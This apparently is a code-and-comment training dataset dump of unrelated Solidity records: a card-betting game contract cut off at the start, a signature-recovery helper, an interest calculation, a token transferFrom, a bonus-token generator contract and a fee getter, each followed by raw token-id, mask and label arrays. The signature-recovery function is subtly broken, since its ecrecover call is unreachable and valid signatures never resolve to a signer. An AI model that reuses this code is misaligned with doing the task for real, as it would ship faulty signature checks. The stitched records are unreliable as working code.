Bet.None, betValue: 0, value: 100 }); players.push(new_player); currentPlayer = currentPlayer + 1; if(currentPlayer == numOfPlayers){ currentPlayer = 0; state = State.Bets; } } } function sendPlaynum() public view returns(uint){ return currentPlayer + 1; } //@params _betval : the bet placed by the current player //@params _val : High or Low // if state == Bets, the function records the bets of each player in // sequence function setBet(uint _betval, string memory _val) public{ if(state == State.Bets){ players[currentPlayer].betValue = players[currentPlayer].value; if( players[currentPlayer].betValue > _betval) { players[currentPlayer].betValue = _betval; } players[currentPlayer].value = players[currentPlayer].value - players[currentPlayer].betValue; if(keccak256(abi.encodePacked((_val)))==keccak256(abi.encodePacked(("high"))) ){ players[currentPlayer].playerBet = Bet.High; } if(keccak256(abi.encodePacked((_val)))==keccak256(abi.encodePacked(("low"))) ){ players[currentPlayer].playerBet = Bet.Low; } currentPlayer = currentPlayer + 1; state = State.Done; if(currentPlayer == numOfPlayers){ currentPlayer = 0; } } } // function to calculate rewards after everyone has set their bets function calculateRewards() public returns(string memory) { if(state == State.Done){ // To be implemented in CardLib to initialize next card nextCard(); // returns the current Cards value (if it is Bet.high or Bet.low ) Bet cardValue = getCardValue(); // returns the cardString e.g "8 of Spades" cardString = getCardString(); for (uint i = 0; i < numOfPlayers; i++) { if(cardValue == players[i].playerBet) players[i].value = players[i].value + 3*players[i].betValue; // Setting back to None players[i].playerBet = Bet.None; players[i].betValue = 0; } // Logic for next bet // To Be implemented according // to CardLib Functions bool check = checkStatus(); if(check==true){ reintialize(); } else{ state = State.Bets; } return cardString; } else return "Bets are not Done yet (:"; } function showPreviousCard() public view returns(string memory) { return cardString; } function reintialize() internal{ numOfPlayers = 0; currentPlayer = 0; state = State.NewGame; players.length = 0; shuffleDeck(); currentCard = 200; } function stateOfGame() public view returns(string memory) { if(state == State.NewGame){ return "Press To Start"; } if(state==State.Initial){ return "Set the number of Players :)"; } if(state==State.AddPlayers){ return "Add the names of the player in sequence :)"; } if(state==State.Bets){ return "Place bets when your turn comes :)"; } if(state==State.Done){ return "Click on calculateRewards :)"; } } function states() public view returns(uint) { if(state == State.NewGame){ return 4; } if(state==State.Initial){ return 0; } if(state==State.AddPlayers){ return 1; } if(state==State.Bets){ return 2; } if(state==State.Done){ return 3; } } function reslname() public view returns(string memory){ uint mi = 0; uint winner = 0; for (uint i = 0; i < numOfPlayers; i++) { if(mi < players[i].value) { mi = players[i].value; winner = i; } } return players[winner].player_name; } function reslval() public view returns(uint){ uint mi = 0; uint winner = 0; for (uint i = 0; i < numOfPlayers; i++) { if(mi < players[i].value) { mi = players[i].value; winner = i; } } return players[winner].value; } function resind() public view returns(uint){ uint mi = 0; uint winner = 0; for (uint i = 0; i < numOfPlayers; i++) { if(mi < players[i].value) { mi = players[i].value; winner = i; } } return winner + 1; } function showPlayerValue(string memory _playername) public view returns(uint) { for(uint256 i=0;i<players.length;i++){ if(keccak256(abi.encodePacked((players[i].player_name)))==keccak256(abi.encodePacked((_playername)))){ return players[i].value; } } return 1000000; } function exitGame() public{ reintialize(); } }
returns current Player while bets are taking place
function showCurrentPlayer() public view returns(string memory) { if(state == State.Bets){ return players[currentPlayer].player_name; } else{ return "Currently Bets are not taken."; } }
12,617,127
[ 1, 6154, 783, 19185, 1323, 324, 2413, 854, 13763, 3166, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 445, 2405, 3935, 12148, 1435, 1071, 1476, 1135, 12, 1080, 3778, 13, 288, 203, 5411, 309, 12, 2019, 422, 3287, 18, 38, 2413, 15329, 203, 7734, 327, 18115, 63, 2972, 12148, 8009, 14872, 67, 529, 31, 203, 5411, 289, 203, 5411, 469, 95, 203, 7734, 327, 315, 3935, 715, 605, 2413, 854, 486, 9830, 1199, 31, 203, 5411, 289, 203, 3639, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x259562c54C07acA61E12ee12C62016EaF3Fd7852/sources/contracts/Nokon.sol
solium-disable-next-line security/no-inline-assembly solium-disable-next-line arg-overflow
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); return ecrecover(hash, v, r, s); } }
4,987,452
[ 1, 18281, 5077, 17, 8394, 17, 4285, 17, 1369, 4373, 19, 2135, 17, 10047, 17, 28050, 3704, 5077, 17, 8394, 17, 4285, 17, 1369, 1501, 17, 11512, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5910, 12, 3890, 1578, 1651, 16, 1731, 3778, 3372, 13, 203, 565, 2713, 203, 565, 16618, 203, 565, 1135, 261, 2867, 13, 203, 565, 288, 203, 3639, 1731, 1578, 436, 31, 203, 3639, 1731, 1578, 272, 31, 203, 3639, 2254, 28, 331, 31, 203, 203, 3639, 309, 261, 8195, 18, 2469, 480, 15892, 13, 288, 203, 5411, 327, 261, 2867, 12, 20, 10019, 203, 3639, 289, 203, 3639, 19931, 288, 203, 5411, 436, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 3462, 3719, 203, 5411, 272, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 7132, 3719, 203, 5411, 331, 519, 1160, 12, 20, 16, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 4848, 20349, 203, 3639, 289, 203, 203, 3639, 309, 261, 90, 411, 12732, 13, 288, 203, 5411, 331, 1011, 12732, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 90, 480, 12732, 597, 331, 480, 9131, 13, 288, 203, 5411, 327, 261, 2867, 12, 20, 10019, 203, 5411, 327, 425, 1793, 3165, 12, 2816, 16, 331, 16, 436, 16, 272, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xfce6032D7D9Ab5ee4aA98fcFa9a137bF445567ec/sources/DefaultReserveInterestRateStrategy.sol
* @dev function to calculate the interest using a compounded interest rate formula @param _rate the interest rate, in ray @param _lastUpdateTimestamp the timestamp of the last update of the interest @return the interest rate compounded during the timeDelta, in ray/solium-disable-next-line
function calculateCompoundedInterest( uint256 _rate, uint40 _lastUpdateTimestamp ) internal view returns (uint256) { uint256 timeDifference = block.timestamp.sub( uint256(_lastUpdateTimestamp) ); uint256 ratePerSecond = _rate.div(SECONDS_PER_YEAR); return ratePerSecond.add(WadRayMath.ray()).rayPow(timeDifference); }
4,058,911
[ 1, 915, 358, 4604, 326, 16513, 1450, 279, 1161, 12002, 16513, 4993, 8013, 225, 389, 5141, 326, 16513, 4993, 16, 316, 14961, 225, 389, 2722, 1891, 4921, 326, 2858, 434, 326, 1142, 1089, 434, 326, 16513, 327, 326, 16513, 4993, 1161, 12002, 4982, 326, 813, 9242, 16, 316, 14961, 19, 18281, 5077, 17, 8394, 17, 4285, 17, 1369, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4604, 2945, 12002, 29281, 12, 203, 3639, 2254, 5034, 389, 5141, 16, 203, 3639, 2254, 7132, 389, 2722, 1891, 4921, 203, 565, 262, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 813, 16220, 273, 1203, 18, 5508, 18, 1717, 12, 203, 5411, 2254, 5034, 24899, 2722, 1891, 4921, 13, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 4993, 2173, 8211, 273, 389, 5141, 18, 2892, 12, 11609, 67, 3194, 67, 15137, 1769, 203, 203, 3639, 327, 4993, 2173, 8211, 18, 1289, 12, 59, 361, 54, 528, 10477, 18, 435, 1435, 2934, 435, 28289, 12, 957, 16220, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x7Bd6062a2056Ba6b9775EfF89fdAa507Ba4B9E14/sources/baal.sol
@notice Transfer `amount` tokens from `from` to `to`. @param from The address of the source account. @param to The address of the destination account. @param amount The number of `shares` tokens to transfer. @return success Whether or not the transfer succeeded.
function transferFrom( address from, address to, uint96 amount ) external returns (bool success) { require(!sharesPaused, "!transferable"); if (allowance[from][msg.sender] != type(uint256).max) { allowance[from][msg.sender] -= amount; } balanceOf[from] -= amount; unchecked { balanceOf[to] += amount; } _moveDelegates(delegates[from], delegates[to], amount); emit Transfer(from, to, amount); success = true; }
12,297,321
[ 1, 5912, 1375, 8949, 68, 2430, 628, 1375, 2080, 68, 358, 1375, 869, 8338, 225, 628, 1021, 1758, 434, 326, 1084, 2236, 18, 225, 358, 1021, 1758, 434, 326, 2929, 2236, 18, 225, 3844, 1021, 1300, 434, 1375, 30720, 68, 2430, 358, 7412, 18, 327, 2216, 17403, 578, 486, 326, 7412, 15784, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 10525, 3844, 203, 565, 262, 3903, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2583, 12, 5, 30720, 28590, 16, 17528, 13866, 429, 8863, 203, 203, 3639, 309, 261, 5965, 1359, 63, 2080, 6362, 3576, 18, 15330, 65, 480, 618, 12, 11890, 5034, 2934, 1896, 13, 288, 203, 5411, 1699, 1359, 63, 2080, 6362, 3576, 18, 15330, 65, 3947, 3844, 31, 203, 3639, 289, 203, 203, 3639, 11013, 951, 63, 2080, 65, 3947, 3844, 31, 203, 203, 3639, 22893, 288, 203, 5411, 11013, 951, 63, 869, 65, 1011, 3844, 31, 203, 3639, 289, 203, 203, 3639, 389, 8501, 15608, 815, 12, 3771, 1332, 815, 63, 2080, 6487, 22310, 63, 869, 6487, 3844, 1769, 203, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 3844, 1769, 203, 203, 3639, 2216, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "../token/ValueTokenAgent.sol"; import "../token/ReturnTokenAgent.sol"; import "../token/TokenHolder.sol"; import "../token/FloatingSupplyToken.sol"; import "../common/SafeMath.sol"; import "../common/Active.sol"; import "./IFund.sol"; import "./ITokenGenerator.sol"; /**@dev A fund that issues bonus tokens in exchange for BCSTokens */ contract BonusTokenGenerator is ValueTokenAgent, ReturnTokenAgent, TokenHolder, Active, SafeMath, ITokenGenerator { event AllowedSpenderSet(address indexed spender, bool state); event EtherRequested(address indexed spender, uint256 amount); uint256 constant MULTIPLIER = 10 ** 18; /**@dev Exchange rate BonusToken/Ether */ uint256 public tokenEtherRate; /**@dev Bonus token */ FloatingSupplyToken public bonusToken; /**@dev Bonus token price expressed in real(value) tokens */ uint256 public bonusTokenPrice; /**@dev Fund that contains accumulated fee for bonus tokens */ IFund public etherFund; /**@dev List of addresses that are allowed to request ether from the fund on behalf of this contract */ mapping (address=>bool) public allowedEtherSpenders; /**@dev The running tally of dividends points accured by dividend/totalSupply at each dividend payment */ uint tokenPoints; /**@dev tokenPoints at the moment of holder's last update*/ mapping (address => uint256) lastClaimedPoints; /**@dev bonus token points accumulated so far for all holders */ mapping (address => uint256) bonusTokenPoints; /**@dev The fund ether balance part at last claim (transfer or withdraw) */ uint256 lastBalance; constructor( ValueToken _realToken, FloatingSupplyToken _bonusToken, uint256 _tokenEtherRate, uint256 _bonusTokenPrice) public ValueTokenAgent(_realToken) { require(_tokenEtherRate > 0 && _bonusTokenPrice > 0); bonusToken = _bonusToken; bonusTokenPrice = _realToken.getRealTokenAmount(_bonusTokenPrice); tokenEtherRate = _tokenEtherRate; } /**@dev Changes core generator settings */ function setParams( FloatingSupplyToken _bonusToken, uint256 _bonusTokenPrice, uint256 _tokenEtherRate ) public ownerOnly { require(_tokenEtherRate > 0 && _bonusTokenPrice > 0); tokenEtherRate = _tokenEtherRate; bonusToken = _bonusToken; bonusTokenPrice = valueToken.getRealTokenAmount(_bonusTokenPrice); } /**@dev Changes ether fund */ function setFund(IFund newFund) public ownerOnly { etherFund = newFund; } /**@dev Changes state of ether spender address */ function setEtherSpender(address spender, bool state) public ownerOnly { allowedEtherSpenders[spender] = state; emit AllowedSpenderSet(spender, state); } /**@dev allows another contracts to request ether from this */ function requestEther(uint amount) public { require(allowedEtherSpenders[msg.sender]); uint256 fundBalance = fundEtherBalance(); // Update unprocessed deposits if (lastBalance != fundBalance) { tokenPoints = totalTokenPoints(); lastBalance = fundBalance; } lastBalance = safeSub(lastBalance, amount); etherFund.withdrawTo(msg.sender, amount); emit EtherRequested(msg.sender, amount); } /**@dev ReturnTokenAgent override */ function returnToken(address from, uint256 amountReturned) public activeOnly returnableTokenOnly { //bcs token is exchanged for bcb tokens if (msg.sender == address(valueToken)) { require(amountReturned >= bonusTokenPrice); issueBonusTokens(from); //issue bonus tokens //return the remainder if (amountReturned > bonusTokenPrice) { valueToken.transfer(from, amountReturned - bonusTokenPrice); } } } /**@dev ValueTokenAgent override */ function tokenIsBeingTransferred(address from, address to, uint256 amount) public valueTokenOnly { require(from != to); updateHolder(from); updateHolder(to); } /**@dev ValueTokenAgent override */ function tokenChanged(address holder, uint256 amount) public valueTokenOnly { updateHolder(holder); } /**@dev how many tokens can be issued to specific account */ function bonusTokensToIssue(address holder) public view returns (uint256) { return safeAdd(bonusTokenPoints[holder], tokensSinceLastUpdate(holder)); } // // Internals // /**@dev Returns amount of fund ether that goes to token generation */ function fundEtherBalance() internal view returns (uint256) { return etherFund.etherBalanceOf(this); } /**@dev Returns amount of tokens generated for specific account since last update*/ function tokensSinceLastUpdate(address holder) internal view returns (uint256) { return tokenEtherRate * (totalTokenPoints() - lastClaimedPoints[holder]) * valueToken.balanceOf(holder) / MULTIPLIER; } /**@dev returns total dividend token points up to date */ function totalTokenPoints() internal view returns (uint256) { return safeAdd(tokenPoints, MULTIPLIER * safeSub(fundEtherBalance(), lastBalance) / valueToken.getValuableTokenAmount()); } /**@dev updates ValueToken holder state */ function updateHolder(address holder) internal { //uint256 fundBalance = fundEtherBalance(); // Update unprocessed deposits if (lastBalance != fundEtherBalance()) { tokenPoints = totalTokenPoints(); lastBalance = fundEtherBalance(); } //don't update balance for reserved tokens if (!valueToken.reserved(holder)) { // Claim share of deposits since last claim bonusTokenPoints[holder] = bonusTokensToIssue(holder); // Save dividend points for holder if(lastClaimedPoints[holder] != tokenPoints) { lastClaimedPoints[holder] = tokenPoints; } } } /**@dev issues an amount of bonus tokens that belongs to specific holder */ function issueBonusTokens(address holder) internal { updateHolder(holder); uint256 amount = bonusTokensToIssue(holder); require(amount > 0); bonusTokenPoints[holder] = safeSub(bonusTokenPoints[holder], amount); bonusToken.mint(holder, amount); } }
*@dev returns total dividend token points up to date */
function totalTokenPoints() internal view returns (uint256) { return safeAdd(tokenPoints, MULTIPLIER * safeSub(fundEtherBalance(), lastBalance) / valueToken.getValuableTokenAmount()); }
2,560,908
[ 1, 6154, 2078, 31945, 1147, 3143, 731, 358, 1509, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2078, 1345, 5636, 1435, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 540, 203, 3639, 327, 4183, 986, 12, 2316, 5636, 16, 31385, 2053, 654, 380, 4183, 1676, 12, 74, 1074, 41, 1136, 13937, 9334, 1142, 13937, 13, 342, 460, 1345, 18, 588, 58, 700, 429, 1345, 6275, 10663, 377, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xAE99862CB922CF20F341f4292af82cf673DF0dB6/sources/FeeDistributor.sol
* @dev Returns the amount of ETH or ERC20 tokens a recipient can withdraw @param token Token address (address(0) for ETH) @param recipient Address of the recipient/
function available(IERC20 token, address recipient) public view returns (uint256) { return earned(token, recipient).sub(_withdrawn[token][recipient]); }
15,718,446
[ 1, 1356, 326, 3844, 434, 512, 2455, 578, 4232, 39, 3462, 2430, 279, 8027, 848, 598, 9446, 225, 1147, 3155, 1758, 261, 2867, 12, 20, 13, 364, 512, 2455, 13, 225, 8027, 5267, 434, 326, 8027, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
